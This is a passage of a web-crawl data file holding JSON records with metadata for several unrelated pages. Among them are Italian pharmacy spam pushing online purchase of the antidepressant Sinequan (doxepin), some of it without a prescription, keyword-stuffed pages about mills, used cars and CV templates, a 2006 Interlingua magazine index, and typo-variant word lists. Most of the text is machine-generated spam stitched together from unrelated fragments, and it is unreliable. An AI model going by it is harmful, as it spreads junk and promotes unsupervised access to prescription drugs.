\"eng_Latn_score\": 0.15464866161346436, \"ile_Latn_score\": 0.03449665755033493, \"dag_Latn_score\": 0.03242167457938194, \"hif_Latn_score\": 0.023247014731168747, \"ind_Latn_score\": 0.018274828791618347, \"sco_Latn_score\": 0.014826664701104164, \"ben_Latn_score\": 0.013988152146339417, \"lat_Latn_score\": 0.013139838352799416, \"lit_Latn_score\": 0.01288182009011507}","num_words":466,"character_repetition_ratio":0.414,"word_repetition_ratio":0.018,"special_characters_ratio":0.147,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.438,"perplexity_score":29823.8,"cluster_detection":-1} +{"text":"In linea Sinequan 25 mg Quanto costa\nValutazione 4.8 sulla base di 366 voti.\nPrezzo da inizio €0.26 Per pillola\nAcquistare Sinequan Italia\nAcquistare Sinequan 25 mg Belgio\nSinequan farmacia chile\nnombres de Sinequan generico\nAcquista Doxepin hydrochloride Brasile\nIl costo di Sinequan Doxepin hydrochloride Repubblica Ceca\ngenerico Sinequan Doxepin hydrochloride Olanda\nPrezzo Doxepin hydrochloride Italia\nSconto Sinequan Olanda\nmodalità acquisto Sinequan\nSinequan en farmacias sin receta argentina\nAcquistare 25 mg Sinequan Inghilterra\nSinequan generico forum\ncheap Lasix\nbasso costo 25 mg Sinequan Emirati Arabi Uniti\nSinequan naturale vendita online\nSconto Sinequan Doxepin hydrochloride Polonia\nPrezzo 25 mg Sinequan Svezia\nvendita online Sinequan originale\nprecio del Sinequan en farmacia ahumada\nPrezzo Doxepin hydrochloride Belgio\nbasso costo Doxepin hydrochloride Emirati Arabi Uniti\nacquistare Sinequan online sicuro\nin linea Doxepin hydrochloride Danimarca\nin linea Sinequan Belgio\nSinequan de venta en farmacias\nSinequan farmacia ricetta\ngenerico Sinequan efeitos colaterais\nin linea 25 mg Sinequan USA\nSinequan en farmacias españa\nAcquistare Sinequan\nconfezione Sinequan farmacia\ngenerico do Sinequan é bom\nbasso costo 25 mg Sinequan Australia\nSinequan generico fa male\nse comprar Sinequan sin receta farmacia\ncomprar genericos de Sinequan\nin linea Sinequan 25 mg Repubblica Ceca\ndonde venden Sinequan generico mexico\nfuncionan genericos Sinequan\nAcquistare Sinequan 25 mg Europa\nSinequan farmacias ahumada\nSinequan generico em campinas\nSinequan generico guadalajara\nIl costo di 25 mg Sinequan Repubblica Ceca\nbasso costo Sinequan 25 mg Regno Unito\nin linea Sinequan Doxepin hydrochloride Danimarca\nSinequan generico in farmacia\nnombre del generico de Sinequan\nSinequan de farmacias similares\nacquistare Sinequan internet\nhay Sinequan farmacias similares\nA buon mercato 25 mg Sinequan USA\nPrezzo Sinequan Olanda\nbasso costo Sinequan Doxepin hydrochloride Francia\nSinequan generico ricetta medica\nSinequan generico y alcohol\nacquisto Sinequan originale\nSinequan italia farmacia\nPrezzo basso Doxepin hydrochloride Europa\nacquisto Sinequan online italia\nacquisto di Sinequan on line\nPrezzo basso Sinequan Polonia\nIl costo di Doxepin hydrochloride Polonia\ngenerico Sinequan 25 mg Belgio\nnombre Sinequan genericos\ngenerico 25 mg Sinequan Singapore\nPrezzo Sinequan Danimarca\ndove acquistare Sinequan on line\nfarmacia de andorra Sinequan\nnome do generico do Sinequan preço\ndove acquistare Sinequan in farmacia\nconveniente 25 mg Sinequan Brasile\ncomprar Sinequan generico en valencia\nin linea Sinequan 25 mg\nOrdine Sinequan 25 mg Canada\ncosto confezione Sinequan farmacia\nAcquista Doxepin hydrochloride Brasile\nSinequan generico acquisto on line\ncomprar Sinequan generico sildenafil\nconveniente 25 mg Sinequan Francia\nSconto Sinequan 25 mg UK\nSconto Sinequan 25 mg Svizzera\nprecio Sinequan farmacias sin receta\nSinequan donne acquisto\nbuy Enalapril\nbuy Tizanidine\ncheap Zestoretic\ncheap 30 mg Nimotop Price\nkCr1C","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.newidea.in.ua\/business\/in-linea-sinequan-25-mg-quanto-costa-canadian-pharmacy-healthcare-online-marchio-e-dei-prodotti-generici-per-la-vendita\/","date":"2017-12-15T14:18:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948572676.65\/warc\/CC-MAIN-20171215133912-20171215155912-00088.warc.gz","language":"ina","language_score":0.3775111139,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3775111138820648, \"lat_Latn_score\": 0.10744719207286835, \"ita_Latn_score\": 0.09041700512170792, \"eus_Latn_score\": 0.0814988911151886, \"ile_Latn_score\": 0.06252288818359375, \"kiu_Latn_score\": 0.03128208965063095, \"mlt_Latn_score\": 0.026240920647978783, \"por_Latn_score\": 0.020649824291467667, \"nld_Latn_score\": 0.019780537113547325, \"vec_Latn_score\": 0.016290398314595222, \"lij_Latn_score\": 0.014099684543907642, \"scn_Latn_score\": 0.01238908153027296, \"slk_Latn_score\": 0.011698533780872822, \"eng_Latn_score\": 0.011152444407343864, \"srd_Latn_score\": 0.010860431008040905, \"fin_Latn_score\": 0.010724203661084175}","num_words":882,"character_repetition_ratio":0.188,"word_repetition_ratio":0.013,"special_characters_ratio":0.157,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.184,"perplexity_score":28355.8,"cluster_detection":-1} +{"text":"fabricantes de molinos artesanales octava region\nraymond fabricante de molino de costa baja -\nraymond fabricante de molino de costa baja_Internet ayer, hoy y mañana by Raymond Colle Título: fabricantes de molinos artesanales octava region.\nfabricantes de goma antivibratorios molino de bolas\nfabricantes de molinos artesanales octava region. goo\/VXr9D2 More About figuras de molinos de . fabricantes de molino de bolas de acero inoxidable.\nfabrica de molinos harineros artesanales - es.wfczaf.com\nfabricantes de molinos artesanales octava region. fabricantes de molinos artesanales octava fabrica chancadora de piedra sector coihue\nmolinos artesanales fabricante - sncschool.org\nfabricantes de molinos artesanales octava region. fabricantes de molinos artesanales octava region. Products Center. entonces a un fabricante catalán, que\nMolinos De Bolas Artesanales - Fumine Machinery\nfabricantes de molinos artesanales octava region. molinos de caucho dos rodillos Molino de Bolas \/ amoladora de fabricantes de molinos artesanales octava region\ntrituradora vibratoria cocullini - dengchengzhen.com\nfabricantes de molinos artesanales octava region. solución de mineríatrituradora móvilmolinosde granos andinos mediante molinos hidraulicos ecologicos artesanales\nmolinos a martillo industriales artesanales\nfabricantes de molinos artesanales octava region. fabricantes de molinos artesanales octava region;venta de molino martillo en region del bio bio molinos de\nmolinos de martillos artesanales - ecotik.in\nfabricantes de molinos artesanales octava region. molinos de martillo en la sexta region . ventaFotos de Molinos Artesanales. . fabricantes de molinos de\nfabricantes de goma antivibratorios molino de bolas\nfabricantes de molinos artesanales octava region. goo\/VXr9D2 More About figuras de molinos de . fabricantes de molino de bolas de acero inoxidable.\nmolinos en general peru - iilluv.org\nfabricantes de molinos artesanales octava region, fabrica de trituradora de mineria en el peru, fabricantes de molinos de bolas en la india VolleyBall\nventa de molinos de martillos en sexta region\nventa de molinos de martillo en sexta region chile manual de chancadores de santiago y quinta Otros en, fabricantes de molinos artesanales octava region.\nventa de molinos de martillos en sexta region\ndonde ubicar fabricantes de martillos para molinos en, fabricantes de molinos artesanales octava region. venta de molino martillo en region del bio bio,\nfabricantes de molinos artesanales octava region\nMemorias del II Encuentro de Historia del is a digital publishing platform that makes it simple to publish magazines, catalogs, newspapers, books, and more online.\nmolinos usados octava region - coopnurseryschool.org\nfabrica de moledora deladrillo. molino de martillos usados fabricantes de molinos artesanales octava region. fabrica de molinos fabrica de molinos .\nchancadoras de piedras octava region -\nfabricantes de molinos artesanales octava region. chancadoras de piedras octava region. chancadoras mandíbulas con doble eje trituradoras de piedra noticias mina de\nmineria octava region chile - ecotik.in\nfabricantes de molinos artesanales octava region. fabricantes de molinos para chile seco Actividad Fabricante de Molinos de Nixtamal en Variosfabricantes de molinos\nmolienda fabricantes lls ucrania\nFabricantes De Molinos Artesanales Octava Region. wincrushers.xyz chancadoras de piedras octava region; fabricantes de molinos en silao; Chat Online;\nfabrica chancadora de piedra sector coihue rio bio bio\nfabricantes de molinos artesanales octava region - ceui.com.mx. fabrica chancadora de piedra sector coihue rio fabricantes de molinos artesanales octava\nfabricantes de molinos de harina - caoom.org\nfabricantes de molinos artesanales octava region. fabricantes de molinos artesanales octava region maquinaria para molinos de harina . el agregado de\nmolinos artesanales para jaleas - Las ventas de\nfabricantes de molinos artesanales octava region molinos artesanales para jaleas - Trituradoras de Impacto los precios hacer molino de piedra artesanales fabricantes\nmolinos en la region metropolitana - armexa.com.mx\nfabricantes de molinos artesanales octava region. py trituradora cono en region metropolitana de santiago $ 15.000.000 vendo campo octava region Los angeles a\nmolinos usados octava region - frontiers-in-finance.com\nfabricantes de molinos artesanales octava region9.2\/10fabricantes de molinos artesanales octava regionfabricantes de molinos artesanales octav\nchancadoras de piedras octava region -\nfabricantes de molinos artesanales octava region. chancadoras de piedras octava region. chancadoras mandíbulas con doble eje trituradoras de piedra noticias mina de\nchancadoras de piedras octava region - redony-reluxa.eu\nVenta de Chancadoras de Piedra en Perú,Fabricantes de, fabricantes de molinos artesanales octava region, la molienda chancadoras de piedras octava region;\nfabricantes de trituradoras bio - honeysonlineshop.com\nFFMINE es el principal fabricante de molinos de, fabricantes de molinos artesanales octava region. venta de molino martillo en region del bio bio,","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/www.federacionaikido.co\/31224_fabricantes\/de\/molinos\/artesanales\/octava\/region.html","date":"2018-07-16T08:46:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589237.16\/warc\/CC-MAIN-20180716080356-20180716100356-00026.warc.gz","language":"ina","language_score":0.4085088968,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.40850889682769775, \"spa_Latn_score\": 0.325819194316864, \"por_Latn_score\": 0.048680853098630905, \"ast_Latn_score\": 0.040685828775167465, \"gug_Latn_score\": 0.03725523501634598, \"mwl_Latn_score\": 0.02261291816830635, \"srd_Latn_score\": 0.013889060355722904, \"glg_Latn_score\": 0.010837183333933353, \"cbk_Latn_score\": 0.01023104228079319}","num_words":1278,"character_repetition_ratio":0.342,"word_repetition_ratio":0.286,"special_characters_ratio":0.161,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.426,"perplexity_score":5854.1,"cluster_detection":-1} +{"text":"porta portese roma auto usate porta portese il mercato dove trovare di tutto un po\nporta portese roma auto usate vintage eterno porta portese e banigliavintage\nporta portese roma auto usate porta portese auto usate roma myefox it\nporta portese roma auto usate porta portese auto usate roma myefox it\nporta portese roma auto usate annunci gratuiti roma cityshop si\nporta portese roma auto usate portaportese offerte lavoro\nporta portese roma auto usate annunci roma porta portese\nporta portese roma auto usate idee e occasioni motori pagina 2 di 4 di portaportese\nporta portese roma auto usate porta portese in tutti i quartieri comune info\nporta portese roma auto usate annunci personali porta portese roma\nporta portese roma auto usate annunci di lavoro qualificato roma\nporta portese roma auto usate porta portese annunci immobiliari roma\nporta portese roma auto usate porta portese annunci personali\nporta portese roma auto usate porta portese annunci personali\nporta portese roma auto usate ebay auto usate roma html autos post\nporta portese roma auto usate porta portese autoaccessori l optional sulle barricate\nporta portese roma auto usate subito it annunci roma lavoro\nporta portese roma auto usate mx5 roma la brumm brumm a cui sono piu legato\nporta portese roma auto usate porta portese annunci personali\nporta portese roma auto usate portaportese roma auto e annunci su excite motori\nporta portese roma auto usate annunci gratuiti roma collage arts net\nporta portese roma auto usate miglior sito auto usate francia infissi bagno in bagno\nporta portese roma auto usate subito it regalo auto roma\nporta portese roma auto usate porta portese annunci gratuiti il primo portale di\nporta portese roma auto usate il portale dei ricambi autos post\nporta portese roma auto usate annunci gratuiti a roma\nporta portese roma auto usate siti annunci usato roma\nporta portese roma auto usate uno turbo auto usate kijiji kijiji annunci gratuiti di","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/roncobbdesigns.com\/porta-portese-roma-auto-usate.html","date":"2018-12-15T06:04:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826715.45\/warc\/CC-MAIN-20181215035757-20181215061757-00350.warc.gz","language":"ina","language_score":0.4745341241,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"ina_Latn_score\": 0.47453412413597107, \"ita_Latn_score\": 0.462771475315094, \"ile_Latn_score\": 0.01169645320624113}","num_words":468,"character_repetition_ratio":0.41,"word_repetition_ratio":0.185,"special_characters_ratio":0.163,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.475,"perplexity_score":25130.0,"cluster_detection":-1} +{"text":"268 best variedad images on pinterest que datos lleva un curriculum vitae. Que datos lleva un curriculum vitae que lleva el curriculum vitae – curriculum vitae models – aurorafilm. Pdf a novel structural health monitoring method for full scale cfrp que datos lleva un curriculum vitae. Que datos lleva un curriculum vitae – encantador muestra plantilla que datos lleva un curriculum vitae. Que datos lleva un curriculum vitae pdf munications systems based on chaos.\n268 Best Variedad Images On Pinterest Que Datos Lleva Un Curriculum Vitae fuente: pinterest.com\nQue Datos Lleva Un Curriculum Vitae Que Lleva El Curriculum Vitae – Curriculum Vitae Models – Aurorafilm fuente: aurorafilm.org\nPdf A Novel Structural Health Monitoring Method for Full Scale Cfrp Que Datos Lleva Un Curriculum Vitae fuente: researchgate.net\nQue Datos Lleva Un Curriculum Vitae – Encantador Muestra Plantilla Que Datos Lleva Un Curriculum Vitae fuente: aurorafilm.org\nQue Datos Lleva Un Curriculum Vitae Pdf Munications Systems Based On Chaos fuente: researchgate.net\nTexto 2 Currculum Vtae Pdf Que Datos Lleva Un Curriculum Vitae fuente: es.scribd.com\nQue Datos Lleva Un Curriculum Vitae – Encantador Muestra Plantilla Que Datos Lleva Un Curriculum Vitae fuente: aurorafilm.org\nTexto 2 currculum vtae pdf que datos lleva un curriculum vitae. Que datos lleva un curriculum vitae – encantador muestra plantilla que datos lleva un curriculum vitae. Que datos lleva un curriculum vitae proyectosei gob convocatorias 2014 convoca declaracion. Que datos lleva un curriculum vitae que datos debe llevar un curriculum vitae – currculum vitae cedumec.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/curriculumvt.me\/que-datos-lleva-un-curriculum-vitae\/","date":"2019-06-25T08:21:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999814.77\/warc\/CC-MAIN-20190625072148-20190625094148-00246.warc.gz","language":"ina","language_score":0.3481449187,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.34814491868019104, \"spa_Latn_score\": 0.13041578233242035, \"ast_Latn_score\": 0.12186342477798462, \"sco_Latn_score\": 0.08275309950113297, \"srd_Latn_score\": 0.07145869731903076, \"lat_Latn_score\": 0.061319101601839066, \"arg_Latn_score\": 0.055398471653461456, \"glg_Latn_score\": 0.022869164124131203, \"cat_Latn_score\": 0.015612398274242878, \"eus_Latn_score\": 0.010337288491427898, \"scn_Latn_score\": 0.010028167627751827}","num_words":457,"character_repetition_ratio":0.216,"word_repetition_ratio":0.667,"special_characters_ratio":0.178,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.324,"perplexity_score":4429.0,"cluster_detection":-1} +{"text":"Iste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition.\n\n\nNo. 5\/2006, septembre-octobre\n|1||UE: Ancora tres linguas official||Le chaos continua. Desde januario le Union Europee habera 23 linguas official, e le problemas de procurar personal pro le enorme apparato de linguas remane.||Copertura|\n|1||Nove chef: reforma in NU||Sudcoreano reimplacia Khofi Annan in 2007.||Copertura|\n|1||Gode ha 100||Alexander Gode, un del patres de interlingua, ha 100 annos.||Copertura|\n|1||Constitution inviate a duo parlamentos||Le version in interlingua del Constitution Europee recipe multe laude e interesse.||Copertura|\n|1||Cocinar in interlingua||Accompania le chef! Bon appetito.||Copertura|\n|1||25.000 nove parolas||Interlingua continua developpar se.||Copertura|\n|1||Ille chassa plantas||Visita vulcanos francese.||Copertura|\n|2||Linguaphobos? Non in le UE||Breinstrup, Thomas||Editorial|\n|2||Colophon||Interlingua|\n|3+4||23 linguas official in le UE de 2007||Le entrata de Romania e Bulgaria adde duo linguas al longe lista. Le costos cresce, e le problemas de recrutar personal augmenta.||Breinstrup, Thomas||Nova|\n|3||Linguas official||Factos|\n|4||Sudcoreano vole reformar le NU||Ministro pro affaires estranier deveni le octave secretario general.||Breinstrup, Thomas||Nova|\n|5||Catalonia votava \"si\" pro autonomia||Tres quartos votava pro plus de autonomia regional del provincia in Espania.||Breinstrup, Thomas||Nova|\n|5||Catalonia||Factos|\n|5||Nove apertura in UE||Subventiones publicate de 2007.||Th.||Nova|\n|6||Lingua german? No, gratias!||Le anglese es le nove numero un in Nederland, nam a pena alicuno vole apprender o studiar le germano. Proque le consequentias pro le economia es enorme, le politicos vole stoppar le tendentia.||Schmiedeberg, Franz||Nova|\n|7||Pandas e minas es hereditage mundial||Th.||Nova|\n|7||Derecto a Gibraltar||Nota|\n|7||Slovenia adopta le euro||Nota|\n|7||Liechtenstein 200 annos||Nota|\n|7||Minor precios pro telephonar||Nota|\n|8||Insulas Feroe plus grande||Nota|\n|8||Ursos liberate in Francia||Nota|\n|8||Ultime roman de Tolkien preste||Nota|\n|8||Deman nos vivera in regiones costal||Nove mappa monstra motationes in le distribution del population.||Ghitti, Luca||Nova|\n|9||\"Nulle problema!\"||60 annos. Alix Potet||Anniversario|\n|9||Information international in interlingua||Annuncio|\n|10||Die lingual con interlingua||Novas de interlingua|\n|10||Practica de interlingua per radio||Novas de interlingua|\n|10||Presentation del citate hospite||Novas de interlingua|\n|10||Nove adresse pro italophonos||Novas de interlingua|\n|10||Correction||Novas de interlingua|\n|10||25.000 nove parolas||Annuncio|\n|11||Constitution arriva al parlamentos||Le Parlamento Europee e le parlamento espaniol ha recipite le Constitution Europee in interlingua||HdlC\/Th.||Novas de interlingua|\n|11||Action parlamentari promove interlingua||Th.||Novas de interlingua|\n|12+13 + 14+15||Alexander Gode haberea 100 annos||Alexander Gode, chef del labor final de interlingua, haberea 100 annos le 30 de octobre. Un del pioneros de interlingua describe su signification pro interlingua – de alora e hodie.||Stenström, Ingvar||Historia de interlingua|\n|13||Biographia||Factos|\n|15||Factos||Factos|\n|16||Le Wikipedia||Statistica | Opera||Interlingua|\n|16||50 citationes le plus famose del cinema american (parte 1)||Sorfleet, Richard W.||Interlingua|\n|17||Le cocina international||Mansur Dal (Lenticulas Rubie) | Torta a species con nuces||LeCorde, Paul||Le cocina international|\n|18||Un baptismo e degratation celestial||Nanoplaneta es nominate secundo le mythologia grec.||Blixt, Anders||Scientia|\n|18||Possibile pyramide in Bosnia||H.K.||Scientia|\n|19||Le lingua scribite le plus ancian in le mundo||Petra revela scriptura exceptional||Th.||Scientia|\n|19||2005 esseva record pro tempestas||Th.||Scientia|\n|20||16.000 species a risco de extinction||Le homines destrue le ambiente del animales||Ghitti, Luca||Scientia|\n|20||Nove dinosauro trovate||Nota|\n|20||Ovos san||Nota|\n|20||1,5 mia. chineses in 30 annos||Nota|\n|20||Sanitate francese pro 3.000 euros||Nota|\n|21||Librissimo||Annuncio|\n|22||Nove parolas continua entrar in interlingua||Le lingua se developpa constantemente con nove parolas. Ci es plus que 25.000 de illos.||Breinstrup, Thomas||Libros|\n|22||Nove parolas||Factos|\n|23||Grande dictionario francese finite||Libros|\n|23||Curso deveni international||Libros|\n|23||Nove publicationes in interlingua||Libros|\n|24||Femina le plus vetule moriva||Le mundo actual|\n|24||Viduo o vidua||Beq||Le mundo actual|\n|24||Conductores vetule non periculose||Beq||Le mundo actual|\n|24||Borrelia afflige 10.000||Beq||Le mundo actual|\n|25||Adipositate juvenil con proteinas||Beq||Le mundo actual|\n|25||Servientes libere plus contente||Sv.Fr.||Le mundo actual|\n|25||Supporto de Windows 98 finiva||Le mundo actual|\n|25||Diamante gigantesc trovate||Le mundo actual|\n|25||Panda es liberate||Le mundo actual|\n|26||Le chassator de plantas||Humbert, Pierre||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Yuriy Cherednikov||Novas de nomines|\n|28||Erik Enfors||Novas de nomines|\n|28||Alison Bailey||Novas de nomines|\n|28||Ebbe Friman||Novas de nomines|\n|28||Italo Notarstefano||Novas de nomines|\n|28||www.interlingua.com||Annuncio|\n\n\nNo. 6\/2006, novembre-decembre\n|1||Conto de Natal per H.C. Andersen||Copertura|\n|1||Forestes vive||Plus de arbores in le hemispherio nord.||Copertura|\n|1||Conto del mense||Nove serie con contos original e traducite – iste vice \"Le ultime Natal\", un narration alternative del saison.||Copertura|\n|1||Parolas del mense||Nove serie super le parolas de interlingua e como usar los correctemente.||Copertura|\n|1||Interlingua practic||Ideas creative de como usar interlingua.||Copertura|\n|1||Interlingua non es moribunde||Ingvar Stenström, secretario del Societate Svedese pro Interlingua, explica le vitalitate del lingua.||Copertura|\n|1||Mangiar pro Natal||Seque le chef in le cocina international pro facer i.a. casserola de ovos e bloco chocolate de Natal.||Copertura|\n|2||Panorama pro tote le familia||Breinstrup, Thomas||Editorial|\n|3||Il ha ancora spero pro le forestes del mundo||Nove methodo de mesurar monstra que le futuro del forestes non necessarimente es si mal.||Breinstrup, Thomas||Nova|\n|4||Un nove typo de traduction electronic||Le usator es date le illusion de esser bilingue per le \"Turre de Babel\".||Castellina, Paolo||Nova|\n|5||Presentes original||Annuncio|\n|6||Fin francese de fumar||Nota|\n|6||Importante trovata aztec||Nota|\n|6||300 mio. americanos||Nota|\n|6||Equalitate in semaphoros||Nota|\n|6||Como trovar textos in Interlingua?||Wimmer, Pawel||Novas de interlingua|\n|7||Erzsébet Jeszenszky ha morite||Th.||Necrologia|\n|7||Honor al ex-presidente del UMI||Th.||Novas de interlingua|\n|8||Parolas del mense||Un poco de geographia | \"Haber\" in expressiones | Ascoltar musica||Breinstrup, Thomas||Le parolas del mense|\n|9||Interlingua in practica||Panorama multilingua | Interlingua cata septimana||Kyson Jr., Harleigh||Interlingua in practica|\n|10||Tchekhov es le novella del mense||Novas de interlingua|\n|10||Encuclopedia besonia revision||Novas de interlingua|\n|10||Radio-amatores in interlingua||Novas de interlingua|\n|10||Gruppo in Cuba pro interlingua||Novas de interlingua|\n|10||Memora le abonamento pro 2007||Novas de interlingua|\n|10||Correction||Novas de interlingua|\n|11||Wikipedia||Paleontologia||Novas de interlingua|\n|11||50 citationes le plus famose del cinema american (parte 2)||Sorfleet, Richard W.||Nova|\n|12||Casserola de ovos pro le jentaculo de Natal||LeCorde, Paul||Le cocina international|\n|12||Bloco chocolate de Natal (Chocolate Yule Log)||LeCorde, Paul||Le cocina international|\n|12||Reimpletion al crema de moka||LeCorde, Paul||Le cocina international|\n|12+13||Glacie de butyro amollite al moka||LeCorde, Paul||Le cocina international|\n|13||Interlingua in mi opinion||Capuzzi, Roberto||Opinion|\n|13||Interlingua in mi opinion||Notarstefano, Italo||Opinion|\n|14+15+16+17+18+19||Le Abiete de Natal||Andersen, H.C.||Litteratura|\n|19||H.C. Andersen 200 annos||Annuncio|\n|20||Curso pro italianos in Internet con sono||Thomas Breinstrup: \"Corso base di Interlingua\"||Th.||Libros|\n|20+21||Famose manual in duo nove linguas||Ingvar Stenström: \"Interlingua – instrumento moderne de communication international\"||Th.||Libros|\n|21||35 contos original||Onofrio Notarstefano: \"Le bosco ancestral\"||Th.||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22+23||Le ultime Natal||Notarstefano, Onofrio||Litteratura|\n|23||Citation||Bierce, Ambrose||Litteratura|\n|24||Bucca rapidissime||Beq||Le mundo actual|\n|24||Moneta de tasca||Beq||Le mundo actual|\n|24||Signal non audibile||Gube||Le mundo actual|\n|24||Cossinettos de collision||Gube||Le mundo actual|\n|24||Dentista 9.000 annos retro||Beq||Le mundo actual|\n|25||Calceas adjuta||Beq||Le mundo actual|\n|25||Le nebula se levava||Beq||Le mundo actual|\n|25||Glutine fortissime discoperite||Beq||Le mundo actual|\n|25||Osteoporose revelate||Beq||Le mundo actual|\n|25||Rana venenose||Beq||Le mundo actual|\n|26||Interlingua vermente non es moribunde!||Stenström, Ingvar||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Felice Natal e un multo bon e successose Anno Nove 2007 a omne lectores del Panorama!||Interlingua|","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.interlingua.com\/panorama\/indices\/anno_2006\/","date":"2020-08-13T17:04:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439739048.46\/warc\/CC-MAIN-20200813161908-20200813191908-00063.warc.gz","language":"ina","language_score":0.968935132,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9689351320266724}","num_words":1657,"character_repetition_ratio":0.131,"word_repetition_ratio":0.017,"special_characters_ratio":0.268,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":0.972,"perplexity_score":7368.1,"cluster_detection":-1} +{"text":"Apbuminoide\n'Apbuminoide' se parece a 'albuminoide', ¿Con apbuminoide querías decir albuminoide?\nApbuminoide tiene 11 letras\nDefinición de albuminoide aquí\nResultados de búsqueda:\n|Google:||apbuminoide|\n|Yahoo:||apbuminoide|\n|MSN:||apbuminoide|\n|Wikipedia:||apbuminoide|\nResultados de imágenes:\n|Google:||apbuminoide|\n|Yahoo:||apbuminoide|\n|MSN:||apbuminoide|\nYoutube: apbuminoide\nNube de palabras :\n- albuminoide zlbuminoide slbuminoide wlbuminoide qlbuminoide akbuminoide apbuminoide aobuminoide alvuminoide alnuminoide alhuminoide alguminoide albyminoide albhminoide albjminoide albiminoide alb8minoide alb7minoide albuninoide albukinoide albujinoide albumunoide albumjnoide albumknoide albumonoide album9noide album8noide albumiboide albumimoide albumijoide albumihoide albuminiide albuminkide albuminlide albuminpide albumin0ide albumin9ide albuminoude albuminojde albuminokde albuminoode albumino9de albumino8de albuminoise albuminoixe albuminoice albuminoife albuminoire albuminoiee albuminoidw albuminoids albuminoidd albuminoidr albuminoid4 albuminoid3","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.tuspalabras.com\/apbuminoide","date":"2016-10-27T11:10:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988721268.95\/warc\/CC-MAIN-20161020183841-00370-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.3140674531,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.31406745314598083, \"vep_Latn_score\": 0.14314775168895721, \"nld_Latn_score\": 0.09909074753522873, \"ron_Latn_score\": 0.0841052457690239, \"fin_Latn_score\": 0.058305539190769196, \"ast_Latn_score\": 0.05215223506093025, \"glg_Latn_score\": 0.02789365127682686, \"ekk_Latn_score\": 0.024296529591083527, \"som_Latn_score\": 0.02226095274090767, \"hun_Latn_score\": 0.011213003657758236, \"mlt_Latn_score\": 0.010184762068092823, \"lvs_Latn_score\": 0.010168307460844517, \"dan_Latn_score\": 0.010143154300749302}","num_words":329,"character_repetition_ratio":0.204,"word_repetition_ratio":0.075,"special_characters_ratio":0.143,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":0.349,"perplexity_score":15164.6,"cluster_detection":-1} +{"text":"Alcorhoque\n'Alcorhoque' se parece a 'alcornoque', ¿Con alcorhoque querías decir alcornoque?\nAlcorhoque tiene 10 letras\nDefinición de alcornoque aquí\nResultados de búsqueda:\n|Google:||alcorhoque|\n|Yahoo:||alcorhoque|\n|MSN:||alcorhoque|\n|Wikipedia:||alcorhoque|\nResultados de imágenes:\n|Google:||alcorhoque|\n|Yahoo:||alcorhoque|\n|MSN:||alcorhoque|\nYoutube: alcorhoque\nNube de palabras :\n- alcornoque zlcornoque slcornoque wlcornoque qlcornoque akcornoque apcornoque aocornoque alxornoque alvornoque alfornoque aldornoque alcirnoque alckrnoque alclrnoque alcprnoque alc0rnoque alc9rnoque alcoenoque alcodnoque alcofnoque alcotnoque alco5noque alco4noque alcorboque alcormoque alcorjoque alcorhoque alcornique alcornkque alcornlque alcornpque alcorn0que alcorn9que alcorno1ue alcorno2ue alcornowue alcornoaue alcornoqye alcornoqhe alcornoqje alcornoqie alcornoq8e alcornoq7e alcornoquw alcornoqus alcornoqud alcornoqur alcornoqu4 alcornoqu3","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/www.tuspalabras.com\/alcorhoque","date":"2016-12-10T15:05:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698543315.68\/warc\/CC-MAIN-20161202170903-00169-ip-10-31-129-80.ec2.internal.warc.gz","language":"ina","language_score":0.3668841124,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.36688411235809326, \"nah_Latn_score\": 0.16773341596126556, \"ast_Latn_score\": 0.13035862147808075, \"spa_Latn_score\": 0.0788387656211853, \"sco_Latn_score\": 0.04993845149874687, \"cot_Latn_score\": 0.03797495365142822, \"por_Latn_score\": 0.02712719701230526, \"glg_Latn_score\": 0.020986394956707954}","num_words":313,"character_repetition_ratio":0.15,"word_repetition_ratio":0.079,"special_characters_ratio":0.159,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.358,"perplexity_score":10389.9,"cluster_detection":-1} +{"text":"Alcornkque\n'Alcornkque' se parece a 'alcornoque', ¿Con alcornkque querías decir alcornoque?\nAlcornkque tiene 10 letras\nDefinición de alcornoque aquí\nResultados de 